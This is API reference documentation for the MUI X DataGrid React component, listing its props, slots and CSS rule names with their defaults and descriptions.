| - | columnHeaderTitleContainerContent | Styles applied to the column header's title excepted buttons. |
| - | columnSeparator | Styles applied to the column header separator element. |
| - | columnSeparator--resizable | Styles applied to the column header separator if the column is resizable. |
| - | columnSeparator--resizing | Styles applied to the column header separator if the column is being resized. |
| - | columnSeparator--sideLeft | Styles applied to the column header separator if the side is "left". |
| - | columnSeparator--sideRight | Styles applied to the column header separator if the side is "right". |
| - | columnsManagementEmptyText | Styles applied to the columns management empty text element. |
| - | columnsManagementFooter | Styles applied to the columns management footer element. |
| - | columnsManagementHeader | Styles applied to the columns management header element. |
| - | columnsManagementRow | Styles applied to the columns management row element. |
| - | columnsManagementScrollArea | Styles applied to the columns management scroll area element. |
| - | columnsManagementSearchInput | Styles applied to the columns management search input element. |
| - | container--bottom | Styles applied to the bottom container. |
| - | container--top | Styles applied to the top container. |
| - | detailPanel | Styles applied to the detail panel element. |
| - | detailPanelToggleCell | Styles applied to the detail panel toggle cell element. |
| - | detailPanelToggleCell--expanded | Styles applied to the detail panel toggle cell element if expanded. |
| - | editBooleanCell | Styles applied to root of the boolean edit component. |
| - | editInputCell | Styles applied to the root of the input component. |
| - | editLongTextCell | Styles applied to the edit long text cell root element. |
| - | editLongTextCellPopperContent | Styles applied to the edit long text cell popper content. |
| - | editLongTextCellPopup | Styles applied to the edit long text cell popup. |
| - | editLongTextCellTextarea | Styles applied to the edit long text cell textarea. |
| - | editLongTextCellValue | Styles applied to the edit long text cell value element. |
| - | filterForm | Styles applied to the root of the filter form component. |
| - | filterFormColumnInput | Styles applied to the column input of the filter form component. |
| - | filterFormDeleteIcon | Styles applied to the delete icon of the filter form component. |
| - | filterFormLogicOperatorInput | Styles applied to the link operator input of the filter form component. |
| - | filterFormOperatorInput | Styles applied to the operator input of the filter form component. |
| - | filterFormValueInput | Styles applied to the value input of the filter form component. |
| - | filterIcon | Styles applied to the filter icon element. |
| - | footerCell | Styles applied to the root element of the cell inside a footer row. |
| - | footerContainer | Styles applied to the footer container element. |
| - | groupingCriteriaCell | Styles applied to the root element of the grouping criteria cell |
| - | groupingCriteriaCellToggle | Styles applied to the toggle of the grouping criteria cell |
| - | headerFilterRow | Styles applied to the column header filter row. |
| - | iconButtonContainer | Styles applied to the column header icon's container. |
| - | iconSeparator | Styles applied to the column header separator icon element. |
| - | longTextCell | Styles applied to the long text cell root element. |
| - | longTextCellCollapseButton | Styles applied to the long text cell collapse button. |
| - | longTextCellContent | Styles applied to the long text cell content element. |
| - | longTextCellExpandButton | Styles applied to the long text cell expand button. |
| - | longTextCellPopperContent | Styles applied to the long text cell popper content. |
| - | longTextCellPopup | Styles applied to the long text cell popup. |
| - | main | Styles applied to the main container element. |
| - | main--hasPinnedRight | Styles applied to the main container element when it has right pinned columns. |
| - | mainContent |  |
| - | menu | Styles applied to the menu element. |
| - | menuIcon | Styles applied to the menu icon element. |
| - | menuIconButton | Styles applied to the menu icon button element. |
| - | menuList | Styles applied to the menu list element. |
| - | menuOpen | Styles applied to the menu icon element if the menu is open. |
| - | overlay | Styles applied to the overlay element. |
| - | overlayWrapper | Styles applied to the overlay wrapper element. |
| - | overlayWrapperInner | Styles applied to the overlay wrapper inner element. |
| - | panelContent | Styles applied to the panel content element. |
| - | panelFooter | Styles applied to the panel footer element. |
| - | panelHeader | Styles applied to the panel header element. |
| - | panelWrapper | Styles applied to the panel wrapper element. |
| - | paper | Styles applied to the paper element. |
| - | pinnedRows | Styles applied to the pinned rows container. |
| - | pinnedRows--bottom | Styles applied to the bottom pinned rows container. |
| - | pinnedRows--top | Styles applied to the top pinned rows container. |
| - | pivotPanelAvailableFields | Styles applied to the pivot panel available fields. |
| - | pivotPanelBody | Styles applied to the pivot panel body. |
| - | pivotPanelField | Styles applied to the pivot panel field. |
| - | pivotPanelField--sorted | Styles applied to the pivot panel field when sorted. |
| - | pivotPanelFieldActionContainer | Styles applied to the pivot panel field action container. |
| - | pivotPanelFieldCheckbox | Styles applied to the pivot panel field checkbox. |
| - | pivotPanelFieldDragIcon | Styles applied to the pivot panel field drag icon. |
| - | pivotPanelFieldList | Styles applied to the pivot panel field list. |
| - | pivotPanelFieldName | Styles applied to the pivot panel field name. |
| - | pivotPanelHeader | Styles applied to the pivot panel header. |
| - | pivotPanelPlaceholder | Styles applied to the pivot panel placeholder. |
| - | pivotPanelScrollArea | Styles applied to the pivot panel scroll area. |
| - | pivotPanelSearchContainer | Styles applied to the pivot panel search container. |
| - | pivotPanelSection | Styles applied to the pivot panel section. |
| - | pivotPanelSections | Styles applied to the pivot panel sections. |
| - | pivotPanelSectionTitle | Styles applied to the pivot panel section title. |
| - | pivotPanelSwitch | Styles applied to the pivot panel switch. |
| - | pivotPanelSwitchLabel | Styles applied to the pivot panel switch label. |
| - | prompt | Styles applied to the prompt root element. |
| - | promptAction | Styles applied to the prompt action element. |
| - | promptChangeList | Styles applied to the prompt change list element. |
| - | promptChangesToggle | Styles applied to the prompt changes toggle element. |
| - | promptChangesToggleIcon | Styles applied to the prompt changes toggle icon element. |
| - | promptContent | Styles applied to the prompt content element. |
| - | promptError | Styles applied to the prompt error element. |
| - | promptFeedback | Styles applied to the prompt feedback element. |
| - | promptIcon | Styles applied to the prompt icon element. |
| - | promptIconContainer | Styles applied to the prompt icon element. |
| - | promptText | Styles applied to the prompt text element. |
| - | resizablePanelHandle | Styles applied to resizable panel handles. |
| - | resizablePanelHandle--horizontal | Styles applied to horizontal resizable panel handles. |
| - | resizablePanelHandle--vertical | Styles applied to vertical resizable panel handles. |
| - | root | Styles applied to the root element. |
| - | root--densityComfortable | Styles applied to the root element if density is "comfortable". |
| - | root--densityCompact | Styles applied to the root element if density is "compact". |
| - | root--densityStandard | Styles applied to the root element if density is "standard" (default). |
| - | root--disableUserSelection | Styles applied to the root element when user selection is disabled. |
| - | row--beingDragged | Styles applied to the row element when it is being dragged (entire row). |
| - | row--detailPanelExpanded | Styles applied to the row if its detail panel is open. |
| - | row--dragging | Styles applied to the floating special row reorder cell element when it is dragged. |
| - | row--dynamicHeight | Styles applied to the row if it has dynamic row height. |
| - | row--editable | Styles applied to the row element if the row is editable. |
| - | row--editing | Styles applied to the row element if the row is in edit mode. |
| - | row--firstVisible | Styles applied to the first visible row element on every page of the grid. |
| - | row--lastVisible | Styles applied to the last visible row element on every page of the grid. |
| - | rowCount | Styles applied to the footer row count element to show the total number of rows.
Only works when pagination is disabled. |
| - | rowReorderCell | Styles applied to the root element of the row reorder cell |
| - | rowReorderCell--draggable | Styles applied to the root element of the row reorder cell when dragging is allowed |
| - | rowReorderCellContainer | Styles applied to the row reorder cell container element. |
| - | rowReorderCellPlaceholder | Styles applied to the row's draggable placeholder element inside the special row reorder cell. |
| - | rowSkeleton | Styles applied to the skeleton row element. |
| - | scrollArea | Styles applied to both scroll area elements. |
| - | scrollArea--down | Styles applied to the bottom scroll area element. |
| - | scrollArea--left | Styles applied to the left scroll area element. |
| - | scrollArea--right | Styles applied to the right scroll area element. |
| - | scrollArea--up | Styles applied to the top scroll area element. |
| - | scrollbar | Styles applied to the scrollbars. |
| - | scrollbar--horizontal | Styles applied to the horizontal scrollbar. |
| - | scrollbar--vertical | Styles applied to the horizontal scrollbar. |
| - | scrollShadow | Styles applied to the scroll shadow element. |
| - | scrollShadow--horizontal | Styles applied to the horizontal scroll shadow element. |
| - | scrollShadow--vertical | Styles applied to the vertical scroll shadow element. |
| - | selectedRowCount | Styles applied to the footer selected row count element. |
| - | sidebar | Styles applied to the sidebar element. |
| - | sidebarHeader | Styles applied to the sidebar header element. |
| - | sortButton | Styles applied to the sort button element. |
| - | sortIcon | Styles applied to the sort button icon element. |
| - | toolbarContainer | Styles applied to the toolbar container element. |
| - | toolbarDivider | Styles applied to the toolbar divider element. |
| - | toolbarFilterList | Styles applied to the toolbar filter list element. |
| - | toolbarLabel | Styles applied to the toolbar label element. |
| - | toolbarQuickFilter | Styles applied to the toolbar quick filter root element. |
| - | toolbarQuickFilterControl | Styles applied to the toolbar quick filter control element. |
| - | toolbarQuickFilterTrigger | Styles applied to the toolbar quick filter trigger element. |
| - | treeDataGroupingCell | Styles applied to the root of the grouping column of the tree data. |
| - | treeDataGroupingCellToggle | Styles applied to the toggle of the grouping cell of the tree data. |
| - | virtualScroller | Styles applied to the virtualization container. |
| - | virtualScrollerContent | Styles applied to the virtualization content. |
| - | virtualScrollerContent--overflowed | Styles applied to the virtualization content when its height is bigger than the virtualization container. |
| - | virtualScrollerRenderZone | Styles applied to the virtualization render zone. |
| - | withBorderColor | Styles applied to cells, column header and other elements that have border.
Sets border color only. |
| - | withSidePanel |  |
| - | withVerticalBorder | Styles applied the grid if `showColumnVerticalBorder={true}`. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid-pro/src/DataGridPro/DataGridPro.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid-pro/src/DataGridPro/DataGridPro.tsx)

---

# Source: https://mui.com/x/api/data-grid/data-grid.md

# Source: https://mui.com/x/api/data-grid.md

# DataGrid API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [DataGrid](/x/react-data-grid/#community-version-free-forever)
- [DataGridPro](/x/react-data-grid/#pro-version)
- [DataGridPremium](/x/react-data-grid/#premium-version)

## Import

```jsx
import { DataGrid } from '@mui/x-data-grid/DataGrid';
// or
import { DataGrid } from '@mui/x-data-grid';
// or
import { DataGrid } from '@mui/x-data-grid-pro';
// or
import { DataGrid } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| columns | `Array<object>` | - | Yes |  |
| apiRef | `{ current?: object }` | - | No |  |
| aria-label | `string` | - | No |  |
| aria-labelledby | `string` | - | No |  |
| autoHeight (deprecated) | `bool` | `false` | No | ⚠️ Use flex parent container instead: [https://mui.com/x/react-data-grid/layout/#flex-parent-container](https://mui.com/x/react-data-grid/layout/#flex-parent-container) |
| autoPageSize | `bool` | `false` | No |  |
| autosizeOnMount | `bool` | `false` | No |  |
| autosizeOptions | `{ columns?: Array<string>, disableColumnVirtualization?: bool, expand?: bool, includeHeaders?: bool, includeOutliers?: bool, outliersFactor?: number }` | - | No |  |
| cellModesModel | `object` | - | No |  |
| checkboxSelection | `bool` | `false` | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| clipboardCopyCellDelimiter | `string` | `'\t'` | No |  |
| columnBufferPx | `number` | `150` | No |  |
| columnFilterDebounceMs | `number` | `150` | No |  |
| columnGroupHeaderHeight | `number` | - | No |  |
| columnHeaderHeight | `number` | `56` | No |  |
| columnVisibilityModel | `object` | - | No |  |
| dataSource | `{ getRows: func, updateRow?: func }` | - | No |  |
| dataSourceCache | `{ clear: func, get: func, set: func }` | - | No |  |
| density | `'comfortable' \| 'compact' \| 'standard'` | `"standard"` | No |  |
| disableAutosize | `bool` | `false` | No |  |
| disableColumnFilter | `bool` | `false` | No |  |
| disableColumnMenu | `bool` | `false` | No |  |
| disableColumnResize | `bool` | `false` | No |  |
| disableColumnSelector | `bool` | `false` | No |  |
| disableColumnSorting | `bool` | `false` | No |  |
| disableDensitySelector | `bool` | `false` | No |  |
| disableEval | `bool` | `false` | No |  |
| disableMultipleRowSelection | `bool` | `false (`!props.checkboxSelection` for MIT Data Grid)` | No |  |
| disableRowSelectionExcludeModel | `bool` | `false` | No |  |
| disableRowSelectionOnClick | `bool` | `false` | No |  |
| disableVirtualization | `bool` | `false` | No |  |
| editMode | `'cell' \| 'row'` | `"cell"` | No |  |
| estimatedRowCount | `number` | - | No |  |
| experimentalFeatures | `{ warnIfFocusStateIsNotSynced?: bool }` | - | No |  |
| filterDebounceMs | `number` | `150` | No |  |
| filterMode | `'client' \| 'server'` | `"client"` | No |  |
| filterModel | `{ items: Array<{ field: string, id?: number \| string, operator: string, value?: any }>, logicOperator?: 'and' \| 'or', quickFilterExcludeHiddenColumns?: bool, quickFilterLogicOperator?: 'and' \| 'or', quickFilterValues?: array }` | - | No |  |
| getCellClassName | `function(params: GridCellParams) => string` | - | No |  |
| getDetailPanelContent | `function(params: GridRowParams) => React.JSX.Element` | - | No |  |
| getEstimatedRowHeight | `function(params: GridRowHeightParams) => number \| null` | - | No |  |
| getRowClassName | `function(params: GridRowClassNameParams) => string` | - | No |  |
| getRowHeight | `function(params: GridRowHeightParams) => GridRowHeightReturnValue` | - | No |  |
| getRowId | `func` | - | No |  |
| getRowSpacing | `function(params: GridRowSpacingParams) => GridRowSpacing` | - | No |  |
| hideFooter | `bool` | `false` | No |  |
| hideFooterPagination | `bool` | `false` | No |  |
| hideFooterSelectedRowCount | `bool` | `false` | No |  |
| ignoreDiacritics | `bool` | `false` | No |  |
| ignoreValueFormatterDuringExport | `{ clipboardExport?: bool, csvExport?: bool } \| bool` | `false` | No |  |
| initialState | `object` | - | No |  |
| isCellEditable | `function(params: GridCellParams) => boolean` | - | No |  |
| isRowSelectable | `function(params: GridRowParams) => boolean` | - | No |  |
| keepNonExistentRowsSelected | `bool` | `false` | No |  |
| label | `string` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| logger | `{ debug: func, error: func, info: func, warn: func }` | `console` | No |  |
| logLevel | `'debug' \| 'error' \| 'info' \| 'warn' \| false` | `"error" ("warn" in dev mode)` | No |  |
| nonce | `string` | - | No |  |
| onCellClick | `function(params: GridCellParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onCellDoubleClick | `function(params: GridCellParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onCellEditStart | `function(params: GridCellParams, event: MuiEvent<React.KeyboardEvent \| React.MouseEvent>) => void` | - | No |  |
| onCellEditStop | `function(params: GridCellParams, event: MuiEvent<MuiBaseEvent>) => void` | - | No |  |
| onCellKeyDown | `function(params: GridCellParams, event: MuiEvent<React.KeyboardEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onCellModesModelChange | `function(cellModesModel: GridCellModesModel, details: GridCallbackDetails) => void` | - | No |  |
| onClipboardCopy | `function(data: string) => void` | - | No |  |
| onColumnHeaderClick | `function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnHeaderContextMenu | `function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>) => void` | - | No |  |
| onColumnHeaderDoubleClick | `function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnHeaderEnter | `function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnHeaderLeave | `function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnHeaderOut | `function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnHeaderOver | `function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnOrderChange | `function(params: GridColumnOrderChangeParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnResize | `function(params: GridColumnResizeParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnVisibilityModelChange | `function(model: GridColumnVisibilityModel, details: GridCallbackDetails) => void` | - | No |  |
| onColumnWidthChange | `function(params: GridColumnResizeParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onDataSourceError | `function(error: GridGetRowsError \| GridUpdateRowError) => void` | - | No |  |
| onDensityChange | `function(density: GridDensity) => void` | - | No |  |
| onFilterModelChange | `function(model: GridFilterModel, details: GridCallbackDetails) => void` | - | No |  |
| onMenuClose | `function(params: GridMenuParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No |  |
| onMenuOpen | `function(params: GridMenuParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No |  |
| onPaginationMetaChange | `function(paginationMeta: GridPaginationMeta) => void` | - | No |  |
| onPaginationModelChange | `function(model: GridPaginationModel, details: GridCallbackDetails) => void` | - | No |  |
| onPreferencePanelClose | `function(params: GridPreferencePanelParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No |  |
| onPreferencePanelOpen | `function(params: GridPreferencePanelParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No |  |
| onProcessRowUpdateError | `function(error: any) => void` | - | No |  |
| onResize | `function(containerSize: ElementSize, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No |  |
| onRowClick | `function(params: GridRowParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onRowCountChange | `function(count: number) => void` | - | No |  |
| onRowDoubleClick | `function(params: GridRowParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onRowEditStart | `function(params: GridRowParams, event: MuiEvent<React.KeyboardEvent \| React.MouseEvent>) => void` | - | No |  |
| onRowEditStop | `function(params: GridRowParams, event: MuiEvent<MuiBaseEvent>) => void` | - | No |  |
| onRowModesModelChange | `function(rowModesModel: GridRowModesModel, details: GridCallbackDetails) => void` | - | No |  |
| onRowSelectionModelChange | `function(rowSelectionModel: GridRowSelectionModel, details: GridCallbackDetails) => void` | - | No |  |
| onSortModelChange | `function(model: GridSortModel, details: GridCallbackDetails) => void` | - | No |  |
| pageSizeOptions | `Array<number \| { label: string, value: number }>` | `[25, 50, 100]` | No |  |
| paginationMeta | `{ hasNextPage?: bool }` | - | No |  |
| paginationMode | `'client' \| 'server'` | `"client"` | No |  |
| paginationModel | `{ page: number, pageSize: number }` | - | No |  |
| processRowUpdate | `function(newRow: R, oldRow: R, params: { rowId: GridRowId }) => Promise<R> \| R` | - | No |  |
| resizeThrottleMs | `number` | `60` | No |  |
| rowBufferPx | `number` | `150` | No |  |
| rowCount | `number` | - | No |  |
| rowHeight | `number` | `52` | No |  |
| rowModesModel | `object` | - | No |  |
| rows | `Array<object>` | `[]` | No |  |
| rowSelection | `bool` | `true` | No |  |
| rowSelectionModel | `{ ids: Set, type: 'exclude' \| 'include' }` | - | No |  |
| rowSpacingType | `'border' \| 'margin'` | `"margin"` | No |  |
| rowSpanning | `bool` | `false` | No |  |
| scrollbarSize | `number` | - | No |  |
| showCellVerticalBorder | `bool` | `false` | No |  |
| showColumnVerticalBorder | `bool` | `false` | No |  |
| showToolbar | `bool` | `false` | No |  |
| slotProps | `object` | - | No |  |
| slots | `object` | - | No |  |
| sortingMode | `'client' \| 'server'` | `"client"` | No |  |
| sortingOrder | `Array<'asc' \| 'desc'>` | `['asc', 'desc', null]` | No |  |
| sortModel | `Array<{ field: string, sort?: 'asc' \| 'desc' }>` | - | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| virtualizeColumnsWithAutoRowHeight | `bool` | `false` | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| bottomContainer | `GridBottomContainer` | - | Component rendered for the bottom container. |
| cell | `GridCell` | `.MuiDataGrid-cell` | Component rendered for each cell. |
| skeletonCell | `GridSkeletonCell` | - | Component rendered for each skeleton cell. |
| columnHeaderFilterIconButton | `GridColumnHeaderFilterIconButton` | - | Filter icon component rendered in each column header. |
| columnHeaderSortIcon | `GridColumnHeaderSortIcon` | - | Sort icon component rendered in each column header. |
| columnMenu | `GridColumnMenu` | - | Column menu component rendered by clicking on the 3 dots "kebab" icon in column headers. |
| columnHeaders | `GridColumnHeaders` | `.MuiDataGrid-columnHeaders` | Component responsible for rendering the column headers. |
| detailPanels | `GridDetailPanels` | - | Component responsible for rendering the detail panels. |
| footer | `GridFooter` | - | Footer component rendered at the bottom of the grid viewport. |
| footerRowCount | `GridRowCount` | - | Row count component rendered in the footer |
| toolbar | `undefined` | `.MuiDataGrid-toolbar` | Toolbar component rendered in the grid header. |
| loadingOverlay | `GridLoadingOverlay` | - | Loading overlay component rendered when the grid is in a loading state. |
| noResultsOverlay | `GridNoResultsOverlay` | - | No results overlay component rendered when the grid has no results after filtering. |
| noRowsOverlay | `GridNoRowsOverlay` | - | No rows overlay component rendered when the grid has no rows. |
| noColumnsOverlay | `GridNoColumnsOverlay` | - | No columns overlay component rendered when the grid has no columns. |
| pagination | `Pagination` | - | Pagination component rendered in the grid footer by default. |
| filterPanel | `GridFilterPanel` | - | Filter panel component rendered when clicking the filter button. |
| columnsPanel | `GridColumnsPanel` | - | GridColumns panel component rendered when clicking the columns button. |
| columnsManagement | `GridColumnsManagement` | `.MuiDataGrid-columnsManagement` | Component used inside Grid Columns panel to manage columns. |
| panel | `GridPanel` | `.MuiDataGrid-panel` | Panel component wrapping the filters and columns panels. |
| row | `GridRow` | `.MuiDataGrid-row` | Component rendered for each row. |
| baseAutocomplete | `Autocomplete` | - | The custom Autocomplete component used in the grid for both header and cells. |
| baseBadge | `Badge` | - | The custom Badge component used in the grid for both header and cells. |
| baseCheckbox | `Checkbox` | - | The custom Checkbox component used in the grid for both header and cells. |
| baseChip | `Chip` | - | The custom Chip component used in the grid. |
| baseCircularProgress | `CircularProgress` | - | The custom CircularProgress component used in the grid. |
| baseDivider | `Divider` | - | The custom Divider component used in the grid. |
| baseLinearProgress | `LinearProgress` | - | The custom LinearProgress component used in the grid. |
| baseMenuList | `MenuList` | - | The custom MenuList component used in the grid. |
| baseMenuItem | `MenuItem` | - | The custom MenuItem component used in the grid. |
| baseTextField | `TextField` | - | The custom TextField component used in the grid. |
| baseSelect | `Select` | - | The custom Select component used in the grid. |
| baseButton | `Button` | - | The custom Button component used in the grid. |
| baseIconButton | `IconButton` | - | The custom IconButton component used in the grid. |
| baseInput | `Input` | - | The custom Input component used in the grid. |
| baseTextarea | `InputBase with multiline` | - | The custom Textarea component used in the grid for multiline text editing. |
| baseToggleButton | `ToggleButton` | - | The custom ToggleButton component used in the grid. |
| baseTooltip | `Tooltip` | - | The custom Tooltip component used in the grid. |
| basePagination | `Pagination` | - | The custom Pagination component used in the grid. |
| basePopper | `Popper` | - | The custom Popper component used in the grid. |
| baseSelectOption | `SelectOption` | - | The custom SelectOption component used in the grid. |
| baseSkeleton | `Skeleton` | - | The custom Skeleton component used in the grid. |
| baseSwitch | `Switch` | - | The custom Switch component used in the grid. |
| baseTabs | `Tabs` | - | The custom Tabs component used in the grid. |
| booleanCellTrueIcon | `GridCheckIcon` | - | Icon displayed on the boolean cell to represent the true value. |
| booleanCellFalseIcon | `GridCloseIcon` | - | Icon displayed on the boolean cell to represent the false value. |
| undoIcon | `GridUndoIcon` | - | Icon displayed on the undo button in the toolbar. |
| redoIcon | `GridRedoIcon` | - | Icon displayed on the redo button in the toolbar. |
| columnMenuIcon | `GridTripleDotsVerticalIcon` | - | Icon displayed on the side of the column header title to display the filter input component. |
| openFilterButtonIcon | `GridFilterListIcon` | - | Icon displayed on the open filter button present in the toolbar by default. |
| columnFilteredIcon | `GridFilterAltIcon` | - | Icon displayed on the column header menu to show that a filter has been applied to the column. |
| columnSelectorIcon | `GridColumnIcon` | - | Icon displayed on the column menu selector tab. |
| columnUnsortedIcon | `GridColumnUnsortedIcon` | - | Icon displayed on the side of the column header title when unsorted. |
| columnSortedAscendingIcon | `GridArrowUpwardIcon` | - | Icon displayed on the side of the column header title when sorted in ascending order. |
| columnSortedDescendingIcon | `GridArrowDownwardIcon` | - | Icon displayed on the side of the column header title when sorted in descending order. |
| columnResizeIcon | `GridSeparatorIcon` | - | Icon displayed in between two column headers that allows to resize the column header. |
| densityCompactIcon | `GridViewHeadlineIcon` | - | Icon displayed on the compact density option in the toolbar. |
| densityStandardIcon | `GridTableRowsIcon` | - | Icon displayed on the standard density option in the toolbar. |
| densityComfortableIcon | `GridViewStreamIcon` | - | Icon displayed on the "comfortable" density option in the toolbar. |
| exportIcon | `GridDownloadIcon` | - | Icon displayed on the open export button present in the toolbar by default. |
| moreActionsIcon | `GridMoreVertIcon` | - | Icon displayed on the `actions` column type to open the menu. |
| treeDataExpandIcon | `GridKeyboardArrowRight` | - | Icon displayed on the tree data toggling column when the children are collapsed |
| treeDataCollapseIcon | `GridExpandMoreIcon` | - | Icon displayed on the tree data toggling column when the children are expanded |
| groupingCriteriaExpandIcon | `GridKeyboardArrowRight` | - | Icon displayed on the grouping column when the children are collapsed |
| groupingCriteriaCollapseIcon | `GridExpandMoreIcon` | - | Icon displayed on the grouping column when the children are expanded |
| detailPanelExpandIcon | `GridAddIcon` | - | Icon displayed on the detail panel toggle column when collapsed. |
| detailPanelCollapseIcon | `GridRemoveIcon` | - | Icon displayed on the detail panel toggle column when expanded. |
| filterPanelAddIcon | `GridAddIcon` | - | Icon displayed for deleting the filter from filter panel. |
| filterPanelDeleteIcon | `GridDeleteIcon` | - | Icon displayed for deleting the filter from filter panel. |
| filterPanelRemoveAllIcon | `GridDeleteForeverIcon` | - | Icon displayed for deleting all the active filters from filter panel. |
| rowReorderIcon | `GridDragIcon` | `.MuiDataGrid-rowReorderIcon` | Icon displayed on the `reorder` column type to reorder a row. |
| quickFilterIcon | `GridSearchIcon` | - | Icon displayed on the quick filter input. |
| quickFilterClearIcon | `GridCloseIcon` | - | Icon displayed on the quick filter reset input. |
| columnMenuHideIcon | `GridVisibilityOffIcon` | - | Icon displayed in column menu for hiding column |
| columnMenuSortAscendingIcon | `GridArrowUpwardIcon` | - | Icon displayed in column menu for ascending sort |
| columnMenuSortDescendingIcon | `GridArrowDownwardIcon` | - | Icon displayed in column menu for descending sort |
| columnMenuUnsortIcon | `null` | - | Icon displayed in column menu for unsort |
| columnMenuFilterIcon | `GridFilterAltIcon` | - | Icon displayed in column menu for filter |
| columnMenuManageColumnsIcon | `GridViewColumnIcon` | - | Icon displayed in column menu for showing all columns |
| columnMenuClearIcon | `GridClearIcon` | - | Icon displayed in column menu for clearing values |
| loadIcon | `GridLoadIcon` | - | Icon displayed on the input while processing. |
| columnReorderIcon | `GridDragIcon` | - | Icon displayed on the column reorder button. |
| menuItemCheckIcon | `GridCheckIcon` | - | Icon displayed to indicate that a menu item is selected. |
| longTextCellExpandIcon | `GridLongTextCellExpandIcon` | - | Icon displayed on the long text cell to expand the content. |
| longTextCellCollapseIcon | `GridLongTextCellCollapseIcon` | - | Icon displayed on the long text cell popup to collapse the content. |

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | actionsCell | Styles applied to the root element of the cell with type="actions". |
| - | aggregationColumnHeader | Styles applied to the root element of the column header when aggregated. |
| - | aggregationColumnHeader--alignCenter | Styles applied to the root element of the header when aggregation if `headerAlign="center"`. |
| - | aggregationColumnHeader--alignLeft | Styles applied to the root element of the header when aggregation if `headerAlign="left"`. |
| - | aggregationColumnHeader--alignRight | Styles applied to the root element of the header when aggregation if `headerAlign="right"`. |
| - | aggregationColumnHeaderLabel | Styles applied to the aggregation label in the column header when aggregated. |
| - | aggregationRowOverlayWrapper | Styles applied to the aggregation row overlay wrapper. |
| - | aiAssistantPanel | Styles applied to the root element of the AI assistant panel. |
| - | aiAssistantPanelBody | Styles applied to the AI assistant panel body. |
| - | aiAssistantPanelConversation | Styles applied to the AI assistant panel conversation. |
| - | aiAssistantPanelConversationList | Styles applied to the AI assistant panel conversation list. |
| - | aiAssistantPanelConversationTitle | Styles applied to the AI assistant panel conversation title. |
| - | aiAssistantPanelEmptyText | Styles applied to the AI assistant panel empty text. |
| - | aiAssistantPanelFooter | Styles applied to the AI assistant panel footer. |
| - | aiAssistantPanelHeader | Styles applied to the AI assistant panel header. |
| - | aiAssistantPanelSuggestions | Styles applied to the AI assistant panel suggestions. |
| - | aiAssistantPanelSuggestionsItem | Styles applied to the AI assistant panel suggestions item. |
| - | aiAssistantPanelSuggestionsLabel | Styles applied to the AI assistant panel suggestions label. |
| - | aiAssistantPanelSuggestionsList | Styles applied to the AI assistant panel suggestions list. |
| - | aiAssistantPanelTitle | Styles applied to the AI assistant panel title. |
| - | aiAssistantPanelTitleContainer | Styles applied to the AI assistant panel title container. |
| - | autoHeight | Styles applied to the root element if `autoHeight={true}`. |
| - | autosizing | Styles applied to the root element while it is being autosized. |
| - | booleanCell | Styles applied to the icon of the boolean cell. |
| - | cell--editable | Styles applied to the cell element if the cell is editable. |
| - | cell--editing | Styles applied to the cell element if the cell is in edit mode. |
| - | cell--flex | Styles applied to the cell element in flex display mode. |
| - | cell--pinnedLeft | Styles applied to the cell element if it is pinned to the left. |
| - | cell--pinnedRight | Styles applied to the cell element if it is pinned to the right. |
| - | cell--rangeBottom | Styles applied to the cell element if it is at the bottom edge of a cell selection range. |
| - | cell--rangeLeft | Styles applied to the cell element if it is at the left edge of a cell selection range. |
| - | cell--rangeRight | Styles applied to the cell element if it is at the right edge of a cell selection range. |
| - | cell--rangeTop | Styles applied to the cell element if it is at the top edge of a cell selection range. |
| - | cell--selectionMode | Styles applied to the cell element if it is in a cell selection range. |
| - | cell--textCenter | Styles applied to the cell element if `align="center"`. |
| - | cell--textLeft | Styles applied to the cell element if `align="left"`. |
| - | cell--textRight | Styles applied to the cell element if `align="right"`. |
| - | cell--withLeftBorder | Styles applied the cell if `showColumnVerticalBorder={true}`. |
| - | cell--withRightBorder | Styles applied the cell if `showColumnVerticalBorder={true}`. |
| - | cellCheckbox | Styles applied to the cell checkbox element. |
| - | cellEmpty | Styles applied to the empty cell element. |
| - | cellSkeleton | Styles applied to the skeleton cell element. |
| - | checkboxInput | Styles applied to the selection checkbox element. |
| - | collapsible | Styles applied to the collapsible element. |
